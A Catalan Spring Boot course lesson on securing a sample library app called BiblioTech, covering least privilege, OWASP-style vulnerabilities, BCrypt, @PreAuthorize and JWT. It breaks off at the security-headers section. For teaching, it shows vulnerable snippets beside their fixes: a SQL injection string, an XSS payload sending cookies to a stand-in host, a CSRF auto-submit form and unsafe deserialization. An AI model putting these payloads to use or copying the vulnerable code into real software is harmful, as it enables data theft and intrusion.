BiblioTech és en producció. I té dos forats de la mida d'un projecte sencer.
El primer: qualsevol pot fer qualsevol cosa. No hi ha autenticació, no hi ha autorització, les contrasenyes no existeixen com a concepte, l'API està oberta a qui la trobi i ningú no ha comprovat si és vulnerable a les coses que fan que les aplicacions acabin a les notícies.
El segon: quan alguna cosa falli, te n'assabentaràs per una trucada de telèfon. No hi ha mètriques, no hi ha traces, no hi ha alertes. L'única cosa que existeix és text a la sortida estàndard d'un contenidor que es destrueix en el desplegament següent.
Aquesta lliçó tanca els dos forats, i tanca el curs.
S'organitza en quatre parts. Seguretat: què ataca una aplicació Java i com se'n defensa BiblioTech de cada cosa, amb Spring Security aplicat de debò. Observabilitat: els tres pilars, i com saber què passa dins d'un sistema al qual no pots connectar un depurador. Evolució: com aconseguir que un sistema sobrevisqui als anys, als canvis d'API, a les actualitzacions i al creixement. I el tancament del curs: el viatge complet de BiblioTech mòdul a mòdul, el que saps fer ara, el que aquest curs no cobreix, i per on continuar.
Contingut
- Mínim privilegi i defensa en profunditat
- Les vulnerabilitats més comunes en una aplicació Java
- Dependències vulnerables i SBOM
- Spring Security: la cadena de filtres
- Autenticació enfront d'autorització
SecurityFilterChain: la configuració moderna- Contrasenyes: BCrypt i el que no es fa mai
- Autorització amb
@PreAuthorize - JWT per a l'API REST
- HTTPS, capçaleres de seguretat i límits
- Validació de tota entrada externa
- Advertència sobre seguretat real
- Observabilitat: els tres pilars
- Actuator i Micrometer
- Mètriques de negoci
- Prometheus i Grafana
- Els quatre senyals d'or
- Traces distribuïdes
- Registres en producció
- Alertes útils enfront del soroll
- El quadre de comandament de BiblioTech
- Versionat de l'API i depreciació
- Deute tècnic i actualitzacions
- Documentació que sobreviu
- Com fer créixer BiblioTech
- Quan NO trossejar en microserveis
- Errors Comuns i Consells
- Exercicis
- Tancament del curs
Part I: Seguretat
- Mínim privilegi i defensa en profunditat
Dos principis sostenen tota la resta.
Mínim privilegi: cada component ha de tenir exactament els permisos que necessita, i ni un més.
| Component | Privilegi incorrecte | Privilegi mínim |
|---|---|---|
| Usuari de base de dades | postgres (superusuari) |
SELECT/INSERT/UPDATE/DELETE sobre l'esquema de l'aplicació |
| Usuari del contenidor | root |
UID 1001, sense capacitats |
| Token de l'API de metadades | Lectura i escriptura | Només lectura |
| Empleat a BiblioTech | Administrador | EMPLEAT, i BIBLIOTECARI només qui ho necessita |
| Token de CI | Accés total al repositori | contents: read, packages: write |
-- L'usuari de l'aplicació NO ha de poder esborrar taules
CREATE USER bibliotech_app WITH PASSWORD :'clau';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- Sense CREATE, sense DROP, sense ALTER: l'esquema el governa Flyway amb UN ALTRE usuari
CREATE USER bibliotech_migracions WITH PASSWORD :'clau_migracions';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migracions;Que les migracions facin servir un usuari diferent del de l'aplicació té una conseqüència concreta: una injecció SQL a l'aplicació no pot esborrar taules, perquè l'usuari que l'executa no en té permís.
Defensa en profunditat: diverses capes independents, de manera que fallar-ne una no comprometi el sistema.
flowchart TD
A["Atacant"] --> C1["1. WAF / limitació de taxa"]
C1 --> C2["2. TLS i capçaleres de seguretat"]
C2 --> C3["3. Autenticació (JWT)"]
C3 --> C4["4. Autorització (rols i @PreAuthorize)"]
C4 --> C5["5. Validació d'entrada"]
C5 --> C6["6. Consultes parametritzades"]
C6 --> C7["7. Permisos mínims a la base de dades"]
C7 --> D[("Dades")]
Set capes. Un atacant que superi la validació d'entrada encara es troba amb consultes parametritzades; si superés això, amb un usuari de base de dades que no pot esborrar res. Cap capa no és suficient per si sola, i aquesta és exactament la idea.
- Les vulnerabilitats més comunes en una aplicació Java
| # | Vulnerabilitat | Què permet | Prevenció a BiblioTech |
|---|---|---|---|
| 1 | Injecció SQL | Llegir, modificar o esborrar tota la base de dades | JPA amb paràmetres; mai concatenar (11-03) |
| 2 | XSS | Executar JavaScript al navegador d'un altre usuari | Escapament automàtic de Thymeleaf; CSP |
| 3 | CSRF | Executar accions en nom de l'usuari | Token CSRF als formularis; irrellevant amb JWT a la capçalera |
| 4 | Control d'accés trencat | Veure o modificar dades d'altri | @PreAuthorize + comprovació de propietat |
| 5 | Deserialització insegura | Execució remota de codi | Mai deserialitzar dades externes; sense tipatge dinàmic (07-05, 11-07) |
| 6 | Exposició de dades sensibles | Filtrar contrasenyes, tokens, dades personals | DTOs; sense traces cap al client; filtres al log (06-07) |
| 7 | Dependències vulnerables | El que permeti el CVE | Anàlisi automàtica, actualitzacions, SBOM (11-01) |
| 8 | Configuració insegura | Endpoints d'administració oberts, credencials per defecte | Actuator restringit; sense valors per defecte en producció |
| 9 | Errors criptogràfics | Contrasenyes desxifrades, trànsit interceptat | BCrypt; TLS obligatori |
| 10 | Manca de registre i monitoratge | Un atac passa desapercebut durant mesos | Auditoria i alertes (part II) |
1. Injecció SQL. L'atac clàssic i encara el més rendible:
// VULNERABLE. Amb text = "'; DELETE FROM prestecs; --" la consulta es converteix en dues.
String jpql = "select m from Material m where m.titol like '%" + text + "%'";
em.createQuery(jpql, Material.class).getResultList();// SEGUR: el parametre MAI no es tracta com a SQL. Es un valor, no codi.
em.createQuery("select m from Material m where lower(m.titol) like lower(:text)", Material.class)
.setParameter("text", "%" + text + "%")
.getResultList();Per què funciona: el motor rep la consulta i els paràmetres per canals separats. La consulta es compila abans de conèixer els valors, de manera que un valor no en pot canviar l'estructura. Spring Data ho fa així per defecte, i CriteriaBuilder (12-04) també.
El punt on encara és possible equivocar-se, i que mereix vigilància especial:
// PERILL: la clausula ORDER BY NO es pot parametritzar
@Query(value = "select * from materials order by " + "#{#ordre}", nativeQuery = true) // MALAMENT// SEGUR: llista blanca. El text que arriba de fora no entra mai a lestructura de la consulta.
private static final Set<String> ORDRES_PERMESES = Set.of("titol", "autor", "any_publicacio");
public List<Material> ordenatsPer(String camp) {
if (!ORDRES_PERMESES.contains(camp)) {
throw new ParametreInvalidException("Ordre no permes: " + camp);
}
return em.createQuery("select m from Material m order by m." + camp, Material.class)
.getResultList();
}2. XSS (Cross-Site Scripting). Passa en servir HTML amb dades que hi ha introduït un usuari:
<!-- VULNERABLE: si el titol es <script>fetch('http://malo/'+document.cookie)</script> -->
<td th:utext="${material.titol}"></td><!-- SEGUR: th:text ESCAPA el HTML. Es el valor per defecte de Thymeleaf. -->
<td th:text="${material.titol}"></td>th:utext (unescaped) existeix per a casos legítims i és exactament el que obre la porta. La regla és: th:utext només amb contingut que hagis generat tu, mai amb dades d'usuari.
Per a una API REST que retorna JSON el risc és menor —Jackson escapa correctament—, però la defensa addicional és la Content Security Policy (apartat 10).
3. CSRF (Cross-Site Request Forgery). Una pàgina maliciosa que l'usuari visita mentre té la sessió oberta a BiblioTech:
<!-- A lloc-malicios.com -->
<form action="https://bibliotech.nexussoftware.com/api/materials/978-0000000001" method="POST">
<input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>Si l'autenticació va per galeta de sessió, el navegador l'envia automàticament i la petició s'executa. Proteccions:
| Autenticació | Vulnerable a CSRF? | Protecció |
|---|---|---|
| Galeta de sessió | Sí | Token CSRF + SameSite=Strict |
JWT a la capçalera Authorization |
No | El navegador no l'envia sol |
| JWT en una galeta | Sí | Token CSRF igualment |
Per això Spring Security desactiva CSRF a les API sense estat amb JWT a la capçalera: no és deixadesa, és que el vector d'atac no existeix.
4. Control d'accés trencat. El més freqüent i el més subestimat:
// VULNERABLE: qualsevol empleat autenticat veu els prestecs de qualsevol altre
@GetMapping("/api/empleats/{id}/prestecs")
public List<PrestecResponse> prestecsDe(@PathVariable Long id) {
return gestor.prestecsDe(id).stream().map(PrestecResponse::desDe).toList();
}// SEGUR: o ets tu, o ets bibliotecari
@GetMapping("/api/empleats/{id}/prestecs")
@PreAuthorize("#id == authentication.principal.id or hasRole('BIBLIOTECARI')")
public List<PrestecResponse> prestecsDe(@PathVariable Long id) { … }El nom tècnic d'aquesta vulnerabilitat és IDOR (referència directa insegura a objectes), i la regla que l'evita és simple d'enunciar i fàcil d'oblidar: no n'hi ha prou de saber qui ets; cal comprovar que aquell recurs és teu.
5. Deserialització insegura. Reprèn 07-05 i 11-07, i mereix un avís destacat perquè no és una fallada de confidencialitat: és execució remota de codi.
// EXTREMADAMENT PERILLOS: mai amb dades que no controles.
ObjectInputStream ois = new ObjectInputStream(entradaUsuari);
Object objecte = ois.readObject(); // aixo pot executar codi arbitrariUn atacant construeix un graf d'objectes que, en deserialitzar-se, encadena crides de llibreries presents al classpath (gadget chains) fins a arribar a Runtime.exec(). No cal que la classe atacada sigui teva.
// I a Jackson, el cas equivalent:
mapper.enableDefaultTyping(); // MAI amb dades externes
mapper.activateDefaultTyping(validador, …); // nomes amb llista blanca estrictaRegles: no facis servir serialització Java per a dades externes; fes servir JSON amb classes concretes; si necessites polimorfisme, @JsonTypeInfo amb @JsonSubTypes explícits reforçats per sealed; i si heretes codi que deserialitza, aplica-hi un ObjectInputFilter (Java 9+).
6. Exposició de dades sensibles. Tres vectors, els tres presents a BiblioTech abans d'aquesta lliçó:
// (a) A la resposta: entitat exposada amb el hash de la contrasenya
@GetMapping("/api/empleats/{id}")
public Empleat perId(@PathVariable Long id) { … } // MALAMENT: DTO, sempre (12-01)
// (b) Al log: dades personals i credencials
log.info("Autenticant {} amb contrasenya {}", correu, contrasenya); // MALAMENT, i molt comu
log.debug("Peticio rebuda: {}", peticio); // que porta a dins?
// (c) Als errors: la pila completa revela versions i estructura interna
server.error.include-stacktrace: always // MALAMENT (12-04)La defensa al log, amb un filtre que emmascara:
public class EmmascaradorDadesSensibles extends ClassicConverter {
private static final List<Pattern> PATRONS = List.of(
Pattern.compile("(\"(?:password|contrasenya|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
Pattern.CASE_INSENSITIVE),
Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
Pattern.compile("\\b(\\d{8})([A-Za-z])\\b") // DNI
);
@Override
public String convert(ILoggingEvent esdeveniment) {
String missatge = esdeveniment.getFormattedMessage();
for (Pattern p : PATRONS) {
missatge = p.matcher(missatge).replaceAll("$1***$3");
}
return missatge;
}
}
- Dependències vulnerables i SBOM
Reprèn 11-01 i Log4Shell. El teu codi pot ser impecable i tot i així ser vulnerable, perquè el 90 % del que s'executa en producció ho va escriure una altra persona.
Anàlisi automàtica:
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>10.0.4</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS> <!-- CVSS 7+ = alta o critica -->
<suppressionFiles>
<suppressionFile>config/supressions-cve.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution><goals><goal>check</goal></goals></execution>
</executions>
</plugin>Dependabot, que obre PRs automàticament:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: maven
directory: "/"
schedule: { interval: weekly, day: monday }
open-pull-requests-limit: 10
groups:
spring:
patterns: ["org.springframework*"] # agrupar: menys soroll
proves:
patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
ignore:
- dependency-name: "*"
update-types: ["version-update:semver-major"] # les majors, a màSBOM (Software Bill of Materials): l'inventari complet de tot el que conté l'artefacte. Quan aparegui el pròxim Log4Shell, la pregunta «ens afecta?» es respon amb una consulta a l'SBOM en lloc de amb dos dies d'arqueologia.
<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.8.1</version>
<executions>
<execution>
<phase>package</phase>
<goals><goal>makeAggregateBom</goal></goals>
</execution>
</executions>
</plugin>./mvnw package # genera target/bom.json i target/bom.xml
grep -i "log4j" target/bom.json # resposta en un segon
- Spring Security: la cadena de filtres
Spring Security és, essencialment, una cadena de filtres de servlet que s'executa abans que la petició arribi al DispatcherServlet (12-04). És el patró Cadena de responsabilitat de 12-02 en la seva forma més pura.
flowchart TD
P["Petició HTTP"] --> F1["SecurityContextPersistenceFilter<br/>recupera el context"]
F1 --> F2["CorsFilter"]
F2 --> F3["CsrfFilter"]
F3 --> F4["FiltreJwt (el nostre)<br/>valida el token i autentica"]
F4 --> F5["AnonymousAuthenticationFilter"]
F5 --> F6["ExceptionTranslationFilter<br/>converteix excepcions en 401/403"]
F6 --> F7["AuthorizationFilter<br/>té permís?"]
F7 --> D["DispatcherServlet"]
D --> C["Controlador"]
F7 -.->|"sense permís"| E["403 Forbidden"]
F4 -.->|"token invàlid"| E401["401 Unauthorized"]
style F4 fill:#e3f2fd,stroke:#1565c0
Cada filtre fa una cosa i passa el control al següent. La conseqüència pràctica: afegir autenticació pròpia és inserir un filtre al punt correcte, no reescriure res.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>Només amb aquesta dependència, tota l'aplicació queda protegida amb autenticació bàsica i una contrasenya generada que apareix al log. És un valor per defecte deliberadament segur: si no configures res, no queda obert.
- Autenticació enfront d'autorització
| Autenticació | Autorització | |
|---|---|---|
| Pregunta | Qui ets? | Què pots fer? |
| Quan | Un cop, en entrar | A cada operació |
| Fallada | 401 Unauthorized | 403 Forbidden |
| A BiblioTech | Correu i contrasenya → JWT | Rols i comprovació de propietat |
Els conceptes de Spring Security:
| Concepte | Què és | A BiblioTech |
|---|---|---|
Authentication |
Qui està autenticat i amb quins permisos | L'empleat i els seus rols |
Principal |
La identitat | UsuariBiblioTech (el nostre UserDetails) |
GrantedAuthority |
Un permís | ROLE_EMPLEAT, ROLE_BIBLIOTECARI |
SecurityContext |
Contenidor de l'autenticació actual | En un ThreadLocal |
UserDetailsService |
Carrega l'usuari pel seu identificador | Consulta la taula empleats |
PasswordEncoder |
Codifica i verifica contrasenyes | BCrypt |
Rols de BiblioTech:
| Rol | Pot |
|---|---|
EMPLEAT |
Veure el catàleg, crear els seus préstecs i reserves, veure les seves multes |
BIBLIOTECARI |
Tot l'anterior + gestionar el catàleg, veure els préstecs de tothom, condonar multes |
ADMIN |
Tot l'anterior + gestionar empleats, veure endpoints d'administració |
SecurityFilterChain: la configuració moderna
SecurityFilterChain: la configuració modernaLa forma antiga (WebSecurityConfigurerAdapter) està eliminada des de Spring Security 6. L'actual és declarativa, amb beans i lambdes:
@Configuration
@EnableWebSecurity
@EnableMethodSecurity // habilita @PreAuthorize
public class ConfiguracioSeguretat {
private final FiltreAutenticacioJwt filtreJwt;
private final GestorErrorsSeguretat gestorErrors;
@Bean
SecurityFilterChain cadenaFiltres(HttpSecurity http) throws Exception {
return http
// API sense estat: no hi ha sessio de servidor, per tant no hi ha CSRF per galeta
.csrf(AbstractHttpConfigurer::disable)
.sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.cors(cors -> cors.configurationSource(fontCors()))
.authorizeHttpRequests(rutes -> rutes
// --- Public ---
.requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refrescar").permitAll()
.requestMatchers("/actuator/health/**").permitAll()
// --- Nomes lectura del cataleg: qualsevol empleat autenticat ---
.requestMatchers(HttpMethod.GET, "/api/materials/**").hasAnyRole("EMPLEAT", "BIBLIOTECARI", "ADMIN")
// --- Gestio del cataleg: bibliotecaris ---
.requestMatchers(HttpMethod.POST, "/api/materials/**").hasRole("BIBLIOTECARI")
.requestMatchers(HttpMethod.PUT, "/api/materials/**").hasRole("BIBLIOTECARI")
.requestMatchers(HttpMethod.PATCH, "/api/materials/**").hasRole("BIBLIOTECARI")
.requestMatchers(HttpMethod.DELETE, "/api/materials/**").hasRole("BIBLIOTECARI")
// --- Administracio ---
.requestMatchers("/api/empleats/**").hasRole("ADMIN")
.requestMatchers("/actuator/**").hasRole("ADMIN")
// --- Documentacio: nomes fora de produccio (veure perfil) ---
.requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")
// --- Regla final: TOTA la resta requereix autenticacio ---
// denyAll implicit per defecte: el que no es declara, no passa
.anyRequest().authenticated())
.exceptionHandling(e -> e
.authenticationEntryPoint(gestorErrors) // 401 en format Problem Details
.accessDeniedHandler(gestorErrors)) // 403 idem
// El nostre filtre ABANS del que fa login amb usuari i contrasenya
.addFilterBefore(filtreJwt, UsernamePasswordAuthenticationFilter.class)
.headers(h -> h
.frameOptions(FrameOptionsConfig::deny)
.contentSecurityPolicy(csp -> csp.policyDirectives(
"default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
.httpStrictTransportSecurity(hsts -> hsts
.includeSubDomains(true)
.maxAgeInSeconds(31_536_000)))
.build();
}
@Bean
PasswordEncoder codificadorContrasenyes() {
// Forca 12: ~250 ms per verificacio en maquinari de 2026.
// Prou lent per a un atacant, tolerable per a un usuari.
return new BCryptPasswordEncoder(12);
}
@Bean
AuthenticationManager gestorAutenticacio(AuthenticationConfiguration config) throws Exception {
return config.getAuthenticationManager();
}
}Dos detalls que marquen la diferència:
- L'ordre de les regles importa. S'avaluen de dalt a baix i guanya la primera que encaixa. Posar
.anyRequest().authenticated()al principi anul·laria tota la resta. .anyRequest().authenticated()al final és la xarxa de seguretat: un endpoint nou queda protegit per defecte. Sense aquesta línia, qualsevol ruta no contemplada quedaria oberta.
- Contrasenyes: BCrypt i el que no es fa mai
Regla absoluta: les contrasenyes NO es desen mai de manera que es puguin recuperar. Ni en clar, ni xifrades de forma reversible, ni amb MD5, ni amb SHA-1, ni amb SHA-256 a seques. Es desa un hash lent amb sal, i el sistema no coneix mai la contrasenya original.
Per què no serveixen els hashos ràpids:
| Algorisme | Hashos per segon (GPU, 2026) | Temps per a 8 caràcters alfanumèrics |
|---|---|---|
| MD5 | ~200.000 milions | segons |
| SHA-1 | ~80.000 milions | segons |
| SHA-256 | ~20.000 milions | minuts |
| BCrypt (força 12) | ~4.000 | segles |
SHA-256 és un algorisme excel·lent… per a allò per a què va ser dissenyat, que és la integritat de dades. Per a contrasenyes, la seva virtut —la velocitat— és exactament el defecte. BCrypt està dissenyat per ser deliberadament lent i perquè la seva lentitud es pugui ajustar a mesura que el maquinari millora.
@Service
public class ServeiAutenticacio {
private final RepositoriEmpleats empleats;
private final PasswordEncoder codificador;
/** Registre: la contrasenya es codifica i es descarta de seguida. */
@Transactional
public Empleat registrar(String nom, String correu, char[] contrasenya) {
validarFortalesa(contrasenya);
try {
String hash = codificador.encode(new String(contrasenya));
return empleats.desar(Empleat.nou(nom, correu, hash));
} finally {
Arrays.fill(contrasenya, '\0'); // sobreescriure en memoria (12-03)
}
}
public Optional<Empleat> autenticar(String correu, String contrasenya) {
Optional<Empleat> empleat = empleats.cercarPerCorreu(correu);
if (empleat.isEmpty()) {
// Comparar contra un hash fictici perque el temps de resposta
// sigui sempre el mateix, existeixi o no aquest usuari. Sense
// aixo, un atacant pot ENUMERAR usuaris mesurant la latencia.
codificador.matches(contrasenya, HASH_FICTICI);
return Optional.empty();
}
if (!codificador.matches(contrasenya, empleat.get().getHashContrasenya())) {
return Optional.empty();
}
return empleat;
}
}Un hash de BCrypt té aquesta forma, i conté tot el que cal per verificar-lo:
$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy │ │ └────────────────────┬──────────────────────────────┘ │ │ └─ sal (22) + hash (31), en base64 │ └───────────────────────── cost: 2^12 = 4.096 iteracions └───────────────────────────── versió de l'algorisme
La sal és diferent per a cada contrasenya, cosa que fa inútils les taules precalculades i significa que dos usuaris amb la mateixa contrasenya tenen hashos diferents.
Validació de fortalesa, amb criteri modern (NIST SP 800-63B):
private void validarFortalesa(char[] contrasenya) {
// La llargada importa MES que la complexitat: "cavall bateria grapa correcta"
// es mes forta que "P@ssw0rd" i molt mes facil de recordar.
if (contrasenya.length < 12) {
throw new ContrasenyaFebleException("Minim 12 caracters");
}
if (contrasenya.length > 128) {
throw new ContrasenyaFebleException("Maxim 128 caracters"); // evitar DoS amb BCrypt
}
if (esComuna(new String(contrasenya))) {
throw new ContrasenyaFebleException("Aquesta contrasenya apareix en filtracions conegudes");
}
}Alternatives a BCrypt, en ordre de preferència actual: Argon2id (guanyador del Password Hashing Competition, resistent a atacs amb GPU i ASIC), scrypt i BCrypt. Tots tres són acceptables; BCrypt és el més disponible i provat de l'ecosistema Java.
- Autorització amb
@PreAuthorize
@PreAuthorizeLa configuració per URL és un primer filtre; l'autorització fina va als serveis, perquè el mateix cas d'ús l'invoquen l'API, la CLI i les tasques programades.
@Service
public class GestorPrestecs implements GestionarPrestecs {
@Override
@Transactional
@PreAuthorize("hasRole('EMPLEAT')")
public Prestec prestar(Isbn isbn, Long idEmpleat, Integer dies) { … }
/** O es un prestec teu, o ets bibliotecari. */
@Override
@Transactional
@PreAuthorize("@propietat.esElSeuPrestec(#idPrestec) or hasRole('BIBLIOTECARI')")
public ResultatDevolucio retornar(Long idPrestec, LocalDate data) { … }
/** Condonar una multa es una decisio amb impacte economic. */
@Override
@Transactional
@PreAuthorize("hasRole('BIBLIOTECARI')")
@Auditat(accio = "CONDONAR_MULTA")
public void condonarMulta(Long idPrestec, String motiu) { … }
/** Filtrar el resultat: cadascu veu el que es seu. */
@Override
@PostFilter("filterObject.idEmpleat == authentication.principal.id or hasRole('BIBLIOTECARI')")
public List<Prestec> totsElsActius() { … }
}El bean de comprovació de propietat, que és el que tanca el forat de l'IDOR:
@Component("propietat")
public class ComprovadorPropietat {
private final RepositoriPrestecs prestecs;
public boolean esElSeuPrestec(Long idPrestec) {
Long idUsuari = usuariActual().getId();
return prestecs.cercarPerId(idPrestec)
.map(p -> p.getIdEmpleat().equals(idUsuari))
.orElse(false);
}
private UsuariBiblioTech usuariActual() {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
if (auth == null || !(auth.getPrincipal() instanceof UsuariBiblioTech usuari)) {
throw new AccessDeniedException("Sense usuari autenticat");
}
return usuari;
}
}I una advertència tècnica que connecta amb 12-02: @PreAuthorize funciona per proxy, exactament igual que @Transactional. Per tant, no s'aplica en autoinvocacions (this.metode()) ni en mètodes privats o final. És el mateix mecanisme i les mateixes limitacions.
Auditoria de les accions sensibles, amb un aspecte (11-02):
@Aspect
@Component
public class AspecteAuditoria {
private static final Logger auditoria = LoggerFactory.getLogger("AUDITORIA");
@AfterReturning("@annotation(auditat)")
public void registrar(JoinPoint punt, Auditat auditat) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
auditoria.info("accio={} usuari={} arguments={} traceId={}",
auditat.accio(),
auth != null ? auth.getName() : "anonim",
Arrays.toString(punt.getArgs()),
MDC.get("traceId"));
}
}El registre d'auditoria és diferent del registre d'aplicació: es conserva més temps, no es pot desactivar, i és el que respon a «qui ha condonat aquesta multa de 200 €?».
- JWT per a l'API REST
Un JWT (JSON Web Token) és una cadena signada que conté afirmacions sobre l'usuari. El seu avantatge: el servidor no desa estat de sessió, cosa que permet l'escalat horitzontal de 12-06.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn └──────── capçalera ───────┘ └──────── càrrega útil ──────┘ └── signatura ──┘
// Capcalera // Carrega util
{ "alg": "HS256", "typ": "JWT" } { "sub": "1",
"correu": "[email protected]",
"roles": ["EMPLEAT", "BIBLIOTECARI"],
"iat": 1785000000,
"exp": 1785003600 }Avís fonamental: la càrrega útil NO està xifrada, només signada. Qualsevol la pot descodificar en base64 i llegir-la. La signatura garanteix que no ha estat modificada, no que sigui secreta. No posis mai en un JWT res que no vulguis que es llegeixi.
El flux complet:
sequenceDiagram
autonumber
participant C as Client
participant A as AuthController
participant S as ServeiAutenticacio
participant J as ServeiJwt
participant F as FiltreJwt
participant R as PrestecController
C->>A: POST /api/auth/login {correu, contrasenya}
A->>S: autenticar(correu, contrasenya)
S->>S: BCrypt.matches(contrasenya, hash)
S-->>A: Empleat
A->>J: generarAcces(empleat) i generarRefresc(empleat)
J-->>A: token d'acces (15 min) + token de refresc (7 dies)
A-->>C: 200 {tokenAcces, tokenRefresc, expiraEn}
Note over C: desa els tokens
C->>F: GET /api/prestecs + Authorization Bearer token
F->>J: validar(token)
J-->>F: afirmacions (sub, roles)
F->>F: SecurityContext amb l'autenticacio
F->>R: continua la cadena
R-->>C: 200 amb els prestecs
Note over C,F: quan el token d'acces caduca
C->>A: POST /api/auth/refrescar {tokenRefresc}
A->>J: validar i comprovar que no esta revocat
A-->>C: 200 amb un token d'acces nou
@Service
public class ServeiJwt {
private final SecretKey clau;
private final Duration vigenciaAcces;
private final Duration vigenciaRefresc;
private final Clock rellotge; // 10-05: injectable, per poder provar-lo
public ServeiJwt(PropietatsJwt props, Clock rellotge) {
// La clau prove de la configuracio externa i ha de tenir 256 bits com a minim.
// Si es curta o es al codi, la signatura es falsificable.
byte[] bytes = Decoders.BASE64.decode(props.secret());
if (bytes.length < 32) {
throw new IllegalStateException("La clau JWT ha de tenir com a minim 256 bits");
}
this.clau = Keys.hmacShaKeyFor(bytes);
this.vigenciaAcces = props.vigenciaAcces();
this.vigenciaRefresc = props.vigenciaRefresc();
this.rellotge = rellotge;
}
public String generarAcces(UsuariBiblioTech usuari) {
Instant ara = Instant.now(rellotge);
return Jwts.builder()
.subject(String.valueOf(usuari.getId()))
.claim("correu", usuari.getUsername())
.claim("roles", usuari.getAuthorities().stream()
.map(GrantedAuthority::getAuthority).toList())
.issuer("bibliotech.nexussoftware.com")
.issuedAt(Date.from(ara))
.expiration(Date.from(ara.plus(vigenciaAcces)))
.id(UUID.randomUUID().toString()) // jti: permet revocar aquest token concret
.signWith(clau, Jwts.SIG.HS256)
.compact();
}
public Claims validar(String token) {
try {
return Jwts.parser()
.verifyWith(clau)
.requireIssuer("bibliotech.nexussoftware.com")
.clockSkewSeconds(30) // tolerancia de rellotge entre servidors
.build()
.parseSignedClaims(token)
.getPayload();
} catch (ExpiredJwtException e) {
throw new TokenCaducatException(e); // el client ha de refrescar
} catch (JwtException | IllegalArgumentException e) {
throw new TokenInvalidException(e); // signatura incorrecta o token manipulat
}
}
}@Component
public class FiltreAutenticacioJwt extends OncePerRequestFilter {
private final ServeiJwt jwt;
private final RegistreTokensRevocats revocats;
@Override
protected void doFilterInternal(HttpServletRequest peticio, HttpServletResponse resposta,
FilterChain cadena) throws ServletException, IOException {
try {
extreureToken(peticio).ifPresent(token -> {
Claims afirmacions = jwt.validar(token);
if (revocats.estaRevocat(afirmacions.getId())) {
throw new TokenRevocatException();
}
var autoritats = ((List<?>) afirmacions.get("roles")).stream()
.map(String::valueOf)
.map(SimpleGrantedAuthority::new)
.toList();
var autenticacio = new UsernamePasswordAuthenticationToken(
new UsuariBiblioTech(Long.valueOf(afirmacions.getSubject()),
afirmacions.get("correu", String.class), autoritats),
null, autoritats);
SecurityContextHolder.getContext().setAuthentication(autenticacio);
// Correlacio amb el MDC de 11-07: qui fa la peticio
MDC.put("usuariId", afirmacions.getSubject());
});
cadena.doFilter(peticio, resposta);
} catch (TokenCaducatException | TokenInvalidException | TokenRevocatException e) {
SecurityContextHolder.clearContext();
escriureProblema(resposta, HttpStatus.UNAUTHORIZED, e.getMessage());
} finally {
MDC.remove("usuariId"); // regla de 11-07: netejar SEMPRE en un pool de fils
}
}
private Optional<String> extreureToken(HttpServletRequest peticio) {
String capcalera = peticio.getHeader(HttpHeaders.AUTHORIZATION);
return (capcalera != null && capcalera.startsWith("Bearer "))
? Optional.of(capcalera.substring(7))
: Optional.empty();
}
}Els riscos del JWT, sense adorns:
| Risc | Per què | Mitigació |
|---|---|---|
| No es pot revocar | És vàlid fins que caduca; el servidor no el consulta | Vigència curta (15 min) + llista de revocats per jti |
| Càrrega útil llegible | Només està signada | Res sensible a dins |
| Robatori del token | Qui el tingui, ets tu | HTTPS obligatori; vigència curta |
Atac alg: none |
Un token sense signatura, acceptat per analitzadors mal fets servir | Exigir l'algorisme explícitament en validar |
| Clau feble | HS256 amb una clau curta es trenca per força bruta | Mínim 256 bits, des de variable d'entorn |
| Emmagatzematge al client | localStorage és accessible des d'un XSS |
Galeta HttpOnly + Secure + SameSite |
On desar el token al navegador, que és la decisió més discutida:
| Ubicació | XSS | CSRF | Veredicte |
|---|---|---|---|
localStorage |
Vulnerable | Immune | Còmode, pitjor |
sessionStorage |
Vulnerable | Immune | Igual, però es perd en tancar |
Galeta HttpOnly+Secure+SameSite=Strict |
Immune | Protegida per SameSite | Preferible |
La raó: una galeta HttpOnly no és accessible des de JavaScript, així que un XSS no la pot robar. Amb localStorage, un sol XSS en qualsevol pàgina del teu domini lliura el token sencer.
I el token de refresc, que sí que és revocable perquè es desa a la base de dades:
@Entity
public class TokenRefresc {
@Id private String id; // jti
private Long idEmpleat;
private String hashToken; // el token tambe es desa amb hash
private Instant caducaEn;
private Instant revocatEn;
private String dispositiu; // per poder mostrar "sessions actives"
}
- HTTPS, capçaleres de seguretat i límits
HTTPS és obligatori, sense excepcions. Sense TLS, credencials i tokens viatgen en clar per qualsevol xarxa intermèdia.
server:
ssl:
enabled: true
key-store: ${TLS_KEYSTORE_PATH}
key-store-password: ${TLS_KEYSTORE_PASSWORD}
key-store-type: PKCS12
protocol: TLS
enabled-protocols: TLSv1.3,TLSv1.2 # TLS 1.0 i 1.1 estan obsoletsA la pràctica, l'habitual és acabar el TLS en un proxy invers o un balancejador (nginx, Traefik, un Ingress). En aquest cas cal dir-li a Spring que confiï en les capçaleres del proxy:
Capçaleres de seguretat, cadascuna amb el seu atac associat:
